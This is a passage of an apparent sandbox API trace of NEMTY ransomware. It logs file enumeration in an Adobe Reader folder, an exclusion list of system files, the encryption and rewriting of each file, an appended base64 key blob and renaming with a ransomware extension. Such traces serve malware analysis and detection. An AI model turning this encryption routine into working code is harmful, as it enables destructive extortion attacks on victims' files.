ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="gre.hyp", cAlternateFileName="")) returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2=".") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="..") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="...") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="windows") returned -1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="$RECYCLE.BIN") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="rsa") returned -1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="NTDETECT.COM") returned -1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="ntldr") returned -1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="MSDOS.SYS") returned -1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="IO.SYS") returned -1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="boot.ini") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="boot.ini") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="ntuser.dat") returned -1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="desktop.ini") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="CONFIG.SYS") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="RECYCLER") returned -1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="BOOTSECT.BAK") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="bootmgr") returned 1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="programdata") returned -1 [0217.653] lstrcmpiW (lpString1="gre.hyp", lpString2="appdata") returned 1 [0217.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.654] Sleep (dwMilliseconds=0x5) [0217.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x356034b0, dwHighDateTime=0x1d561e8)) [0217.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x356034b0, dwHighDateTime=0x1d561e8)) [0217.665] GetLastError () returned 0x0 [0217.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.665] GetLastError () returned 0x0 [0217.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.665] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.665] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.665] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.665] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="Mo/p56x/A/u2ihm+koSkBKgb+unsmxG+feSXyZ1x9lIH/ommhoQAIpJljhfOiMYW\r\nqgttmDTv7fYs0Falsey+SW3RoJFuA/pe0z+nz6ITvJufzlMQjiqyQRvjINx8Jc46\r\n/MWO7icLqto3rfEkOjjGTEV/5rl4RsCVlC1bX6M7UofBrc4ASHUUXFc8lJQmrCkW\r\n2GCTUrsMjY3oqN9Unv31lXyo3GJiRuJE991Q8NXkik8Vwh5Qvz5sKPVfZOFzF8ju\r\nsc5Y4/JkOrpILyZtoFmHXo5blwur4VPpweWSrhJkoFY0RzzoicRtl8BdGqINkOwE\r\nlUwav7HhNgQBojO10zwcHg==\r\n", pcchString=0x653df5c) returned 1 [0217.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.666] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=2048) returned 1 [0217.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x800) returned 0x634ad48 [0217.667] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.667] ReadFile (in: hFile=0x320, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e1a4*=0x800, lpOverlapped=0x0) returned 1 [0217.668] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.668] WriteFile (in: hFile=0x320, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e19c*=0x800, lpOverlapped=0x0) returned 1 [0217.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0217.668] SetFilePointer (in: hFile=0x320, lDistanceToMove=2048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x800 [0217.668] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.669] CloseHandle (hObject=0x320) returned 1 [0217.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.669] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.hyp._nemty_kgobjgd_")) returned 1 [0217.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.670] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48db5, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="gre110.hsp", cAlternateFileName="")) returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2=".") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="..") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="...") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="windows") returned -1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="$RECYCLE.BIN") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="rsa") returned -1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="NTDETECT.COM") returned -1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="ntldr") returned -1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="MSDOS.SYS") returned -1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="IO.SYS") returned -1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="boot.ini") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="boot.ini") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="AUTOEXEC.BAT") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="ntuser.dat") returned -1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="desktop.ini") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="CONFIG.SYS") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="RECYCLER") returned -1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="BOOTSECT.BAK") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="bootmgr") returned 1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="programdata") returned -1 [0217.670] lstrcmpiW (lpString1="gre110.hsp", lpString2="appdata") returned 1 [0217.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre110.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre110.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x653e260, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre110.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre110.hsp", cchWideChar=10, lpMultiByteStr=0x653e298, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre110.hsp", lpUsedDefaultChar=0x0) returned 10 [0217.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.671] Sleep (dwMilliseconds=0x5) [0217.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35629610, dwHighDateTime=0x1d561e8)) [0217.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35629610, dwHighDateTime=0x1d561e8)) [0217.680] GetLastError () returned 0x0 [0217.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.680] GetLastError () returned 0x0 [0217.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.681] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.681] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.681] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.681] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="ECibp2xzuNgaON1dTzHyb9Y0N0vvqVqv8oBofHJ/HQQtdoax+8iTg6cTkf5BmsaS\r\nDSFbA7OKVRdINZcfnH/iDXqLlSrI7fvF3EkEImIAudinbX0JwdxXKGpJkEbr0L2I\r\nWI9dc2ZJNc7XzcOx0WrCMstmlil6bX/pAifn9kpr8sKdhX6eYGRDLKyH0rvJLmLU\r\n+aTB3cZqTlvGRx3IIkftRTHgN3bk++gVPqQUNsg4sBLAdFb7CKKVOyHoZPJQItf6\r\nFzaFMQsve1nQkz5bzwTwpGt3fVJEPR+rup5dd+2nfHPW0qhlLr/zaxIYBpGvpCyG\r\n3NR8GxzBnujs4xrUt2VBCw==\r\n", pcchString=0x653df5c) returned 1 [0217.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.681] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre110.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre110.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.682] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=298421) returned 1 [0217.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.682] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.682] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.699] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.699] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.700] SetFilePointer (in: hFile=0x320, lDistanceToMove=298421, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x48db5 [0217.700] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.701] CloseHandle (hObject=0x320) returned 1 [0217.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.702] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre110.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre110.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre110.hsp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre110.hsp._nemty_kgobjgd_")) returned 1 [0217.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.703] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, 